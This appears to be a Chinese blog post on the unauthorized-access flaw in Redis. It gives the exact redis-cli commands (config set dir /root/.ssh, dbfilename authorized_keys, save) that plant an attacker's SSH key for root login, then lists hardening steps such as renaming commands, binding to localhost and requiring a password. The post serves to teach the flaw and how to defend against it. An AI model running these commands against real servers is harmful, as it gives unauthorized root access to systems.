漏洞利用原理

漏洞利用先决条件
  • root 权限运行 Redis
  • 弱密码/空密码
  • socket 监听 0.0.0.0,或外网做了端口映射
原理

首先介绍一下 Redis 的几个命令,这几个命令配合起来使用,威力无穷。

  • set 命令

    set 是 Redis 中最常用的指令之一,它的功能是将一个值赋予给一个键,如 set name 陈日志 就将我的名字 陈日志 赋值给了 Redis 中的一个键 name 了。

  • config set dir 命令

    config set dir 的功能是设置当前工作目录,和 Linux 中的 cd 命令是类似的功能,如 config set dir /root/.ssh/ 就将工作目录切换到了 /root/.ssh/ 下了。

  • config set dbfilename 命令

    该命令设置数据库的名字,如 config set dbfilename "authorized_keys" 将数据库名称设置为 authorized_keys

  • save 命令

    sava 命令将数据库保存到当前工作目录,保存的文件为 dbfilename 定义的文件名

OK,介绍完这几个命令之后,你有没有一个大胆的想法?

不管有没有,容我再介绍一下 SSH 是怎么免密码登陆的。

假设有一台 Linux (A) 想要免密码登陆 另一台 Linux (B) ,这个功能是怎么实现的呢?很简单,将 A 的 SSH 密钥 加到 B 的信任列表里就可以了,而这个信任列表就是 /root/.ssh/authorized_keys。

我有个大胆的想法。

利用 Redis 将我本机的 SSH 密钥保存到对方主机的信任列表里,这样我就能免密码登陆了。

捋起袖子加油干

知道了原理,还等啥,干它咯。

  1. 生成本机 SSH KEY

    ssh-keygen -t rsa -P "" -f ~/.ssh/id_rsa
  2. 准备公钥文件

    (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo "\n\n") > pub.key
  3. 连接目标 Redis

    # 将 SSH KEY 作为值写到 Redis 的一个键中
    cat pub.key | redis-cli -h 192.168.192.200 -x set aaaaa
    # 再次连接 Redis
    redis-cli -h 192.168.192.200
    # 切换目录
    192.168.192.200> config set dir /root/.ssh
    OK
    192.168.192.200> config set dbfilename "authorized_keys"
    OK
    192.168.192.200> save
    OK
  4. hahaha,接下来就能免密码登陆了

    ssh root@192.168.192.200

防范

小学生的水平就能轻松攻破一台 Linux 服务器,爽吧。那么该如何防范这个漏洞呢?

1. 禁止高危命令

修改 redis.conf ,添加

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

或将命令改名

rename-command FLUSHALL "MYFLUSHALL"
rename-command CONFIG   "MYCONFIG"
rename-command EVAL     "MYEVAL"
2. 不用 root 运行 Redis
su -s /bin/bash redis -c "./redis-server redis.conf"

runuser -s /bin/bash redis -c "./redis-server redis.conf"

* /bin/bash 后面的 redis 为用户名,这个用户的 shell 应为 /sbin/nologin,即不允许登陆 shell。
* 这个用户最好是不能登录shell的。

3. 设置 Redis 鉴权密码

修改 redis.conf

requirepass YOUR-STRONG-PASSWORD
4. 不要监听 0.0.0.0

套接字仅绑定所需要用到的地址上。

如果 Redis 仅本机使用,修改 redis.conf

bind 127.0.0.1

如果 Redis 需要被其它服务器使用,修改 redis.conf

bind 内网网卡地址
5. 做好防火墙限制

禁止 Redis 端口暴露到公网上。

标签: redis, 漏洞, 提权

添加新评论